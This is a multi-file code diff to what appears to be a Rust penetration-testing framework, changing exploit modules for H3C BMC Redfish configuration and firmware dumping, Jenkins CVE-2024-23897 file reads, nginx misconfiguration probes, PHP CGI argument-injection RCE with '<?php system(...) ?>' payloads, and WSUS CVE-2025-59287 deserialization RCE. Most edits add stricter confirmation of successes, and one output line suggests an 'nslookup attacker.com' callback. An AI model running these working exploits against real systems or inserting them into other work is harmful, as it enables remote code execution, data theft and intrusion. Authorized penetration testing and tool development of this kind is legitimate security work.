let mask = addr.get("SubnetMask").map(|v| format_value(v)).unwrap_or_default();
let gw = addr.get("Gateway").map(|v| format_value(v)).unwrap_or_default();
let origin = addr.get("AddressOrigin").map(|v| format_value(v)).unwrap_or_default();
crate::mprintln!(" IPv4[{}]: {} / {} gw {} ({})", i, ip.yellow(), mask, gw, origin);
}
}
// IPv6 addresses
if let Some(addrs) = json.get("IPv6Addresses").and_then(|a| a.as_array()) {
for (i, addr) in addrs.iter().enumerate() {
let ip = addr.get("Address").map(|v| format_value(v)).unwrap_or_default();
let prefix = addr.get("PrefixLength").map(|v| format_value(v)).unwrap_or_default();
crate::mprintln!(" IPv6[{}]: {} /{}", i, ip.yellow(), prefix);
}
}
// VLAN
if let Some(vlan) = json.get("VLAN") {
let enabled = vlan.get("VLANEnable").map(|v| format_value(v)).unwrap_or_default();
let vid = vlan.get("VLANId").map(|v| format_value(v)).unwrap_or_default();
crate::mprintln!(" VLAN: enabled={} id={}", enabled, vid);
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"H3C iBMC {} — MAC {} IP {}",
iface,
json.get("MACAddress").map(|v| format_value(v)).unwrap_or_default(),
json.get("IPv4Addresses")
.and_then(|a| a.as_array())
.and_then(|a| a.first())
.and_then(|a| a.get("Address"))
.map(|v| format_value(v))
.unwrap_or_default(),
),
data: Some(serde_json::json!({
"endpoint": path,
"interface": iface,
"ethernet": json,
})),
});
}
if ctx.is_cancelled() { return Ok(outcome); }
}
}
// ---------------------------------------------------------------
// 7. BIOS Settings
// ---------------------------------------------------------------
if dump_bios {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] BIOS Settings — /redfish/v1/Systems/1/Bios".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url, "/redfish/v1/Systems/1/Bios").await {
print_kv(&json, &["Id", "Name", "Description", "AttributeRegistry"]);
// Attributes sub-object often contains the actual BIOS knobs
if let Some(attrs) = json.get("Attributes").and_then(|a| a.as_object()) {
crate::mprintln!(" {} BIOS attributes:", attrs.len().to_string().green().bold());
for (k, v) in attrs {
crate::mprintln!(" {}: {}", k.dimmed(), format_value(v));
}
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: "H3C iBMC BIOS settings dumped".to_string(),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Systems/1/Bios",
"bios": json,
})),
});
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 8. Firmware Inventory
// ---------------------------------------------------------------
if dump_firmware {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Firmware Inventory — /redfish/v1/UpdateService/FirmwareInventory".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url,
"/redfish/v1/UpdateService/FirmwareInventory").await
{
if let Some(members) = json.get("Members").and_then(|m| m.as_array()) {
crate::mprintln!("{}", format!("[+] {} firmware components", members.len()).green());
let mut fw_items: Vec<serde_json::Value> = Vec::new();
for member in members {
if ctx.is_cancelled() { break; }
if let Some(odata_id) = member.get("@odata.id").and_then(|v| v.as_str()) {
if let Some(fw) = redfish_get(&client, ctx, &host, &base_url, odata_id).await {
let name = fw.get("Name").map(|v| format_value(v)).unwrap_or_default();
let version = fw.get("Version").map(|v| format_value(v)).unwrap_or_default();
let updateable = fw.get("Updateable").map(|v| format_value(v)).unwrap_or_default();
crate::mprintln!(" {} v{} (updateable: {})",
name.bold(), version.yellow(), updateable,
);
fw_items.push(fw);
}
}
}
crate::mprintln!();
if !fw_items.is_empty() {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("H3C iBMC: {} firmware components enumerated", fw_items.len()),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/UpdateService/FirmwareInventory",
"firmware_count": fw_items.len(),
"firmware": fw_items,
})),
});
}
}
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 9. Optional POST Actions
// ---------------------------------------------------------------
if trigger_export {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Triggering configuration export...".yellow().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
let export_path = "/redfish/v1/Managers/1/Actions/Oem/Public/Manager.ExportConfiguration";
match redfish_post(&client, ctx, &host, &base_url, export_path, serde_json::json!({})).await {
Ok((status, body)) => {
if status >= 200 && status < 300 {
crate::mprintln!("{}", format!("[+] Export triggered (HTTP {})", status).green().bold());
} else {
crate::mprintln!("{}", format!("[-] Export returned HTTP {}: {}", status, body.chars().take(300).collect::<String>()).yellow());
}
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("H3C iBMC configuration export action triggered (HTTP {})", status),
data: Some(serde_json::json!({
"endpoint": export_path,
"http_status": status,
"response": body,
})),
});
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Export action failed: {}", e).red());
}
}
}
if trigger_dump {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Triggering BMC diagnostic dump...".yellow().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
let dump_path = "/redfish/v1/Managers/1/Actions/Oem/Public/Manager.Dump";
match redfish_post(&client, ctx, &host, &base_url, dump_path, serde_json::json!({})).await {
Ok((status, body)) => {
if status >= 200 && status < 300 {
crate::mprintln!("{}", format!("[+] BMC dump triggered (HTTP {})", status).green().bold());
} else {
crate::mprintln!("{}", format!("[-] Dump returned HTTP {}: {}", status, body.chars().take(300).collect::<String>()).yellow());
}
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("H3C iBMC diagnostic dump action triggered (HTTP {})", status),
data: Some(serde_json::json!({
"endpoint": dump_path,
"http_status": status,
"response": body,
})),
});
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Dump action failed: {}", e).red());
}
}
}
// ---------------------------------------------------------------
// Summary
// ---------------------------------------------------------------
crate::mprintln!();
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Configuration dump complete".green().bold());
crate::mprintln!("{}", format!(" Target: {}", base_url).cyan());
crate::mprintln!("{}", format!(" Findings: {}", outcome.findings.len()).cyan());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_redfish_config_dump", native);
@@ -42,7 +42,7 @@ use std::time::Duration;
use tokio::io::{ AsyncReadExt, AsyncWriteExt };
use tokio::net::TcpStream;
use crate::module_info::{ CheckResult, ModuleInfo, ModuleRank };
use crate::module_info::{ ModuleInfo, ModuleRank };
use crate::utils::{
cfg_prompt_default,
cfg_prompt_int_range,
@@ -86,59 +86,7 @@ pub fn info() -> ModuleInfo {
}
}
/// Non-destructive check — perform the upgrade, read one frame, look for
/// the unsolicited Redfish-style status dump.
pub async fn check(ctx: &crate::module::ModuleCtx) -> CheckResult {
let target = ctx.target.as_single().unwrap_or("");
let host = sanitize_host(target);
let port = DEFAULT_PORT;
let addr = format!("{}:{}", host, port);
let stream = match crate::utils::network::tcp_connect_str(
&addr,
Duration::from_secs(HANDSHAKE_TIMEOUT_SECS),
).await {
Ok(s) => s,
_ => return CheckResult::NotVulnerable("port :8090 not reachable".into()),
};
let mut stream = stream;
let key = generate_ws_key();
let handshake = build_handshake(&host, port, &key);
if let Err(e) = stream.write_all(&handshake).await {
return CheckResult::Error(format!("handshake write failed: {e}"));
}
let mut buf = vec![0u8; 4096];
let n = match tokio::time::timeout(
Duration::from_secs(READ_TIMEOUT_SECS),
stream.read(&mut buf),
).await {
Ok(Ok(n)) => n,
_ => return CheckResult::Unknown("no response after upgrade".into()),
};
let resp = String::from_utf8_lossy(&buf[..n]);
if !resp.contains("101 Switching Protocols") {
return CheckResult::NotVulnerable("server did not accept WebSocket upgrade".into());
}
// Drain a second read for the unsolicited status frame.
let n2 = tokio::time::timeout(
Duration::from_secs(READ_TIMEOUT_SECS),
stream.read(&mut buf),
).await.ok().and_then(|r| r.ok()).unwrap_or(0);
let frame_text = String::from_utf8_lossy(&buf[..n2]);
if frame_text.contains("AlarmEventSummary")
|| frame_text.contains("BoardsSummary")
|| frame_text.contains("OverallSecurityStatus")
{
CheckResult::Vulnerable(
"unauth WebSocket on :8090 dumps Redfish-style status block".into(),
)
} else {
CheckResult::Unknown("upgrade accepted but no recognizable status frame".into())
}
}
pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::ModuleOutcome> {
let target = ctx.target.as_single().context("module requires a single-host target")?;
@@ -369,4 +317,4 @@ fn sanitize_host(target: &str) -> String {
t
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_websocket_dump", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_websocket_dump", native);
@@ -1 +1,5 @@
pub mod h3c_bmc_firewall_dump;
pub mod h3c_ipmi_hash_dump;
pub mod h3c_kvm_protocol_probe;
pub mod h3c_redfish_config_dump;
pub mod h3c_websocket_dump;
@@ -58,7 +58,9 @@ impl ExploitState {
})
}
async fn listen_and_print(&self) -> Result<()> {
/// Returns true only if file content was actually leaked (the CVE-2024-23897
/// expansion produced `No such agent "<leaked line>"` matches).
async fn listen_and_print(&self) -> Result<bool> {
let url = format!("{}?remoting=false", self.url);
let response = self
.client
@@ -69,18 +71,18 @@ impl ExploitState {
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await.context("read body")?;
self.print_formatted_output(&output);
Ok(())
let output = crate::utils::network::read_http_body_text_capped(response, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
Ok(self.print_formatted_output(&output))
}
fn print_formatted_output(&self, output: &str) {
/// Returns true if leaked file lines were extracted from the response.
fn print_formatted_output(&self, output: &str) -> bool {
if output.contains("ERROR: No such file") {
crate::mprintln!("{}", "File not found.".red());
return;
return false;
} else if output.contains("ERROR: Failed to parse") {
crate::mprintln!("{}", "Could not read file.".red());
return;
return false;
}
// Compile regex once and handle errors properly
@@ -94,8 +96,10 @@ impl ExploitState {
for line in results {
crate::mprintln!("{}", line);
}
return true;
}
}
false
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
@@ -114,13 +118,13 @@ impl ExploitState {
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
/// Returns true if file content was actually leaked.
async fn read_file(&self, filepath: &str) -> Result<bool> {
self.send_file_request(filepath).await?;
sleep(Duration::from_millis(200)).await;
self.listen_and_print().await?;
Ok(())
self.listen_and_print().await
}
}
@@ -222,18 +226,24 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
crate::mprintln!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => {
crate::mprintln!("{}", "[+] File read complete".green().bold());
outcome.findings.push(Finding {
target: normalized_base.clone(),
kind: FindingKind::Vulnerable,
message: format!("Confirmed CVE-2024-23897: LFI file read on {}", normalized_base),
data: Some(serde_json::json!({
"host": normalized_base,
"cve": "CVE-2024-23897",
"file": absolute_path,
})),
});
Ok(leaked) => {
if leaked {
crate::mprintln!("{}", "[+] File read complete".green().bold());
outcome.findings.push(Finding {
target: normalized_base.clone(),
kind: FindingKind::Vulnerable,
message: format!("Confirmed CVE-2024-23897: LFI file read on {}", normalized_base),
data: Some(serde_json::json!({
"host": normalized_base,
"cve": "CVE-2024-23897",
"file": absolute_path,
})),
});
} else {
// Request succeeded but no file content was disclosed: do not
// flag as vulnerable (server may be patched or path unreadable).
crate::mprintln!("{}", "[-] No file content disclosed; target likely not vulnerable.".yellow());
}
}
Err(e) => {
if e.to_string().contains("timeout") {
@@ -72,7 +72,7 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
.context("Failed to send download request")?;
let dl_status = download_res.status();
let body = download_res.text().await.context("Failed to read download response body")?;
let body = crate::utils::network::read_http_body_text_capped(download_res, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read download response body")?;
let mut outcome = ModuleOutcome::ok();
@@ -76,16 +76,22 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
.context("Failed to send CLI download request")?;
let dl_status = download_res.status();
let body = download_res.text().await.context("Failed to read download response body")?;
let body = crate::utils::network::read_http_body_text_capped(download_res, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read download response body")?;
// CVE-2024-23897 leaks file lines inside `No such agent "<line>"` errors
// produced by the args4j @-expansion. That specific signature is the only
// reliable proof — a merely long/non-empty body (a normal error page,
// login redirect, or 404 HTML) is NOT evidence and previously caused
// false-positive "VULNERABLE" findings on patched/unrelated servers.
let leaked = extract_leaked_lines(&body);
let args4j_expansion = body.contains("No such agent \"") && !leaked.is_empty();
if dl_status.is_success() || !body.is_empty() {
// Look for file content leaked inside error messages
if body.contains("No such agent") || body.contains("ERROR:") || body.len() > 50 {
if args4j_expansion {
crate::mprintln!("{} File content leaked via args4j expansion!", "[+]".green().bold());
crate::mprintln!();
// Extract readable lines from the response
let lines = extract_leaked_lines(&body);
let lines = leaked;
if !lines.is_empty() {
crate::mprintln!("{}", "--- Leaked File Content ---".cyan());
for line in &lines {
@@ -9,7 +9,7 @@
//! - https://nvd.nist.gov/vuln/detail/CVE-2017-7529
use anyhow::{Context, Result};
use crate::module::ModuleOutcome;
use crate::module::{ModuleOutcome, Finding, FindingKind};
use colored::*;
use reqwest::{Client, StatusCode};
use std::fs::OpenOptions;
@@ -82,18 +82,45 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
// Report Findings
crate::mprintln!("\n{}", "═══ Scan Results ═══".cyan().bold());
let mut outcome = ModuleOutcome::ok();
if findings.is_empty() {
crate::mprintln!("{}", "No significant vulnerabilities found.".green());
} else {
for finding in &findings {
crate::mprintln!("{}", finding);
}
// Record each discovered misconfiguration as a structured Finding so it
// reaches the loot store / export / scheduler (previously silently lost).
// Weak/informational signals (tech detection, version banners, heuristic
// header-bypass diffs) are recorded as Note to avoid new false positives;
// body-verified disclosures / CVE hits are recorded as Vulnerable.
for finding in &findings {
let kind = if finding.starts_with("Technology Detection")
|| finding.starts_with("Version Disclosure")
|| finding.starts_with("Response difference detected")
|| finding.starts_with("Possible Alias Traversal")
{
FindingKind::Note
} else {
FindingKind::Vulnerable
};
outcome.findings.push(Finding {
target: target.to_string(),
kind,
message: finding.clone(),
data: Some(serde_json::json!({
"host": base_url,
"detail": finding,
})),
});
}
// Save to file
save_results(target, &findings)?;
}
Ok(ModuleOutcome::ok())
Ok(outcome)
}
async fn check_version(client: &Client, url: &str, findings: &mut Vec<String>) {
@@ -138,7 +165,7 @@ async fn check_variable_leak(client: &Client, url: &str, findings: &mut Vec<Stri
let secret = "RUSTSPLOIT_SECRET_REF";
if let Ok(resp) = client.get(&target).header("Referer", secret).send().await
&& let Ok(text) = resp.text().await
&& let Ok(text) = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await
&& text.contains(secret) {
let msg = format!("Variable Leakage: '$http_referer' is reflected in response from {}", target);
crate::mprintln!("{}", format!("[!] {}", msg).red().bold());
@@ -158,7 +185,7 @@ async fn check_merge_slashes(client: &Client, url: &str, findings: &mut Vec<Stri
let target = format!("{}{}", url, p);
if let Ok(resp) = client.get(&target).send().await
&& resp.status() == StatusCode::OK {
let body = match resp.text().await {
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => { tracing::trace!("body read failed: {e}"); continue; }
};
@@ -258,7 +285,7 @@ async fn check_raw_backend_reading(client: &Client, url: &str, findings: &mut Ve
for p in status_paths {
if let Ok(resp) = client.get(format!("{}/{}", url, p)).send().await
&& resp.status() == StatusCode::OK
&& let Ok(text) = resp.text().await
&& let Ok(text) = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await
&& (text.contains("Active connections") || text.contains("server accepts handled requests")) {
let msg = format!("Nginx Status information found at {}/{}", url, p);
crate::mprintln!("{}", format!("[!] {}", msg).red().bold());
@@ -268,7 +295,7 @@ async fn check_raw_backend_reading(client: &Client, url: &str, findings: &mut Ve
// Check if root reveals nginx.conf (Source Disclosure)
if let Ok(resp) = client.get(format!("{}/", url)).send().await
&& let Ok(text) = resp.text().await
&& let Ok(text) = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await
&& text.contains("worker_processes") && text.contains("http {") {
let msg = "Root directory reveals nginx.conf content! Missing root directive?".to_string();
crate::mprintln!("{}", format!("[!] {}", msg).red().bold());
@@ -94,7 +94,7 @@ async fn check_vuln(client: &Client, url: &str) -> Result<bool> {
.send()
.await?;
let text = resp.text().await.context("read body")?;
let text = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
if text.contains("VULNERABLE_CVE_2024_4577") {
crate::mprintln!("{}", "[+] Target seems VULNERABLE!".green().bold());
Ok(true)
@@ -117,7 +117,7 @@ async fn exploit(client: &Client, url: &str) -> Result<bool> {
let payload = format!("<?php system('{}'); die; ?>", cmd);
match client.post(&exploit_url).body(payload).send().await {
Ok(resp) => {
let text = resp.text().await.context("read body")?;
let text = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
crate::mprintln!("{}", text);
confirmed = true;
}
@@ -134,7 +134,7 @@ async fn exploit(client: &Client, url: &str) -> Result<bool> {
match client.post(&exploit_url).body(payload).send().await {
Ok(resp) => {
let text = resp.text().await.context("read body")?;
let text = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
crate::mprintln!("{}", text);
confirmed = true;
}
@@ -22,7 +22,7 @@
use anyhow::{Context, Result};
use crate::module::{ModuleOutcome, Finding, FindingKind};
use colored::*;
use std::time::Duration;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
@@ -110,8 +110,18 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
// Phase 2: argument injection
crate::mprintln!("{}", "[*] Phase 2: Injecting PHP arguments via soft hyphen...".cyan());
// Payload delivered in POST body (php://input)
let php_payload = format!("<?php {} ?>", command);
// Unique execution canary: only PHP that actually runs server-side will print
// this marker into the response. A benign 200 page or a server that merely
// reflects the request body cannot reproduce it, eliminating false positives.
let nonce = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0);
let canary = format!("RSPLOIT_CVE_2025_51373_{:x}", nonce);
// Payload delivered in POST body (php://input). We prepend a print of the
// canary so successful execution is unambiguously confirmable.
let php_payload = format!("<?php print('{}'); {} ?>", canary, command);
// Build URL with soft-hyphen argument injection
let inject_url = format!(
@@ -132,12 +142,15 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
.context("Injection request failed")?;
let status = resp.status().as_u16();
let body = resp.text().await.context("Failed to read response body")?;
let body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read response body")?;
crate::mprintln!("{}", format!("[*] Response HTTP {}", status).cyan());
if status == 200 && !body.is_empty() {
crate::mprintln!("{}", "[+] Response received:".green().bold());
// Confirmed only when the injected canary is echoed back, proving the PHP
// payload actually executed (not just a 200 with arbitrary content).
let confirmed = status == 200 && body.contains(&canary);
if confirmed {
crate::mprintln!("{}", "[+] Canary executed - RCE confirmed:".green().bold());
crate::mprintln!("{}", "".repeat(60).dimmed());
for line in body.lines().take(30) {
let t = line.trim();
@@ -156,7 +169,7 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
"exploits/frameworks/php/cve_2025_51373_php_rce",
).await;
} else {
crate::mprintln!("{}", "[-] No exploitable output. Target may not be vulnerable or CGI path is wrong.".red());
crate::mprintln!("{}", "[-] No exploitable output (canary not reflected). Target may not be vulnerable or CGI path is wrong.".red());
crate::mprintln!("{}", "[*] Note: This CVE is Windows-specific (PHP CGI mode with IIS or Apache mod_cgi).".yellow());
}
@@ -164,12 +177,12 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
crate::mprintln!("{}", "[*] Remediation: upgrade PHP to >= 8.4.8 / 8.3.22 / 8.2.29".yellow());
let mut outcome = ModuleOutcome::ok();
if status == 200 && !body.is_empty() {
if confirmed {
outcome.findings.push(Finding {
target: base_url.clone(),
kind: FindingKind::Vulnerable,
message: format!("PHP CGI argument injection RCE confirmed (CVE-2025-51373)"),
data: Some(serde_json::json!({ "host": normalized, "port": port, "cgi_path": cgi_path })),
data: Some(serde_json::json!({ "host": normalized, "port": port, "cgi_path": cgi_path, "canary": canary })),
});
}
Ok(outcome)
@@ -18,7 +18,7 @@ use crate::module::{ModuleOutcome, Finding, FindingKind};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
use crate::workspace::track_host;
@@ -69,99 +69,7 @@ const WSUS_DETECTION_PATHS: &[&str] = &[
/// The vulnerable endpoint path.
const REPORTING_ENDPOINT: &str = "/ReportingWebService/ReportingWebService.asmx";
/// Non-destructive vulnerability check.
/// Detects WSUS service by probing known endpoints.
pub async fn check(ctx: &crate::module::ModuleCtx) -> CheckResult {
let target = ctx.target.as_single().unwrap_or("");
let client = match build_client() {
Ok(c) => c,
Err(e) => return CheckResult::Error(format!("Failed to build HTTP client: {}", e)),
};
let normalized = match normalize_target(target) {
Ok(t) => t,
Err(e) => return CheckResult::Error(format!("Invalid target: {}", e)),
};
// Try both WSUS default ports
let ports_to_try: Vec<(&str, u16)> = vec![
("http", 8530),
("https", 8531),
];
for (scheme, port) in &ports_to_try {
let base_url = format!("{}://{}:{}", scheme, normalized, port);
// Probe WSUS-specific paths
for path in WSUS_DETECTION_PATHS {
let url = format!("{}{}", base_url, path);
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
let headers = resp.headers().clone();
// Check for IIS / WSUS indicators in headers
let server_header = headers.get("server")
.and_then(|v| v.to_str().ok())
.unwrap_or("");
let is_iis = server_header.to_lowercase().contains("microsoft-iis");
match resp.text().await {
Ok(body) => {
let body_lower = body.to_lowercase();
let is_wsus = body_lower.contains("windows server update")
|| body_lower.contains("wsus")
|| body_lower.contains("windowsupdate")
|| body_lower.contains("reportingwebservice")
|| body_lower.contains("clientwebservice")
|| body_lower.contains("apiremoting30")
|| (*path == "/selfupdate/iuident.cab" && status.is_success());
if is_wsus || (is_iis && status.is_success() && *path == "/selfupdate/iuident.cab") {
// Now check if the vulnerable reporting endpoint exists
let vuln_url = format!("{}{}", base_url, REPORTING_ENDPOINT);
if let Ok(vuln_resp) = client.get(&vuln_url).send().await {
let vuln_status = vuln_resp.status();
if vuln_status.is_success()
|| vuln_status.as_u16() == 500
|| vuln_status.as_u16() == 415 {
return CheckResult::Vulnerable(
format!(
"WSUS detected at {} -- reporting endpoint {} returned HTTP {} (potentially vulnerable)",
base_url, REPORTING_ENDPOINT, vuln_status
)
);
} else if vuln_status.as_u16() == 404 {
return CheckResult::NotVulnerable(
format!(
"WSUS detected at {} but reporting endpoint returned 404 (may be patched/removed)",
base_url
)
);
}
}
return CheckResult::Vulnerable(
format!("WSUS service detected at {} via {} (HTTP {})", base_url, path, status)
);
}
}
Err(e) => {
tracing::debug!("Failed to read response body: {e}");
continue;
}
}
}
Err(e) => {
tracing::debug!("Request failed: {e}");
continue;
}
}
}
}
CheckResult::Unknown("Could not detect WSUS service on standard ports (8530/8531)".to_string())
}
/// Generate a .NET BinaryFormatter deserialization payload.
/// This creates the raw bytes that exploit the BinaryFormatter
@@ -242,7 +150,7 @@ async fn send_exploit_payload(
.context("Failed to send exploit payload to WSUS reporting endpoint")?;
let status = resp.status().as_u16();
let body = resp.text().await.context("Failed to read WSUS response")?;
let body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read WSUS response")?;
Ok((status, body))
}
@@ -274,30 +182,39 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
crate::mprintln!("{}", format!("[*] Target: {}", base_url).yellow());
// Step 1: Passive detection
// Step 1: Passive detection — probe WSUS-specific endpoints
crate::mprintln!();
crate::mprintln!("{}", "[*] Running WSUS service detection...".cyan());
let check_result = check(ctx).await;
match &check_result {
CheckResult::Vulnerable(msg) => {
crate::mprintln!("{}", format!("[+] {}", msg).green());
}
CheckResult::NotVulnerable(msg) => {
crate::mprintln!("{}", format!("[-] {}", msg).red());
let proceed = cfg_prompt_default(
"proceed_anyway",
"WSUS not confirmed. Continue anyway? (y/n)",
"n",
).await?;
if proceed.to_lowercase() != "y" {
crate::mprintln!("{}", "[!] Aborting.".yellow());
return Ok(ModuleOutcome::ok());
let client_detect = build_client()?;
let mut wsus_detected = false;
for path in WSUS_DETECTION_PATHS {
let probe_url = format!("{}{}", base_url, path);
match client_detect.get(&probe_url).send().await {
Ok(resp) => {
let status = resp.status().as_u16();
if status == 200 || status == 401 || status == 403 {
crate::mprintln!("{}", format!("[+] WSUS endpoint responded: {} (HTTP {})", path, status).green());
wsus_detected = true;
break;
}
}
Err(e) => {
tracing::debug!("WSUS probe {} failed: {}", path, e);
}
}
CheckResult::Unknown(msg) | CheckResult::Error(msg) => {
crate::mprintln!("{}", format!("[?] {}", msg).yellow());
crate::mprintln!("{}", "[*] Will attempt direct exploit against specified target...".cyan());
}
if !wsus_detected {
crate::mprintln!("{}", "[-] No WSUS endpoints responded.".red());
let proceed = cfg_prompt_default(
"proceed_anyway",
"WSUS not confirmed. Continue anyway? (y/n)",
"n",
).await?;
if proceed.to_lowercase() != "y" {
crate::mprintln!("{}", "[!] Aborting.".yellow());
return Ok(ModuleOutcome::ok());
}
crate::mprintln!("{}", "[*] Will attempt direct exploit against specified target...".cyan());
}
// Track the host
@@ -417,21 +334,9 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
.context("Failed to send ysoserial payload")?;
let status = resp.status().as_u16();
let body = resp.text().await.context("Failed to read ysoserial response body")?;
let body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read ysoserial response body")?;
print_exploit_result(status, &body, &command);
if status == 500 {
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Confirmed CVE-2025-59287: WSUS deserialization RCE on {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-59287",
"http_status": 500,
})),
});
}
record_wsus_outcome(&mut outcome, &normalized, port, status, &body);
} else {
// Use built-in payload
crate::mprintln!("{}", "[*] Using built-in deserialization payload...".cyan());
@@ -439,24 +344,62 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
let (status, body) = send_exploit_payload(&client, &base_url, &command).await?;
print_exploit_result(status, &body, &command);
if status == 500 {
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Confirmed CVE-2025-59287: WSUS deserialization RCE on {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-59287",
"http_status": 500,
})),
});
}
record_wsus_outcome(&mut outcome, &normalized, port, status, &body);
}
Ok(outcome)
}
/// Record a WSUS exploit finding with conservative gating.
///
/// A bare HTTP 500 is NOT proof of the deserialization path: any ASP.NET endpoint
/// returns 500 on a malformed SOAP body. We only assert Vulnerable when the
/// response body confirms the BinaryFormatter deserialization path; otherwise a
/// 500 is downgraded to an unconfirmed Note.
fn record_wsus_outcome(
outcome: &mut ModuleOutcome,
normalized: &str,
port: u16,
status: u16,
body: &str,
) {
if status != 500 {
return;
}
let deser_marker = body.contains("BinaryFormatter") || body.contains("SerializationException");
if deser_marker {
outcome.findings.push(Finding {
target: normalized.to_string(),
kind: FindingKind::Vulnerable,
message: format!("Confirmed CVE-2025-59287: WSUS deserialization RCE on {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-59287",
"http_status": 500,
"deserialization_marker": true,
})),
});
} else {
outcome.findings.push(Finding {
target: normalized.to_string(),
kind: FindingKind::Note,
message: format!(
"WSUS payload delivered; endpoint returned HTTP 500 without a deserialization marker (RCE unconfirmed) on {}",
normalized
),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-59287",
"http_status": 500,
"deserialization_marker": false,
"confirmed": false,
})),
});
}
}
/// Analyze and print exploit results.
fn print_exploit_result(status: u16, body: &str, command: &str) {
crate::mprintln!();
@@ -512,4 +455,4 @@ fn print_exploit_result(status: u16, body: &str, command: &str) {
crate::mprintln!("{}", " - Verify with a DNS/HTTP callback (e.g. nslookup attacker.com)".white());
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/wsus/cve_2025_59287_wsus_rce", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/wsus/cve_2025_59287_wsus_rce", native);
+3 -17
View File
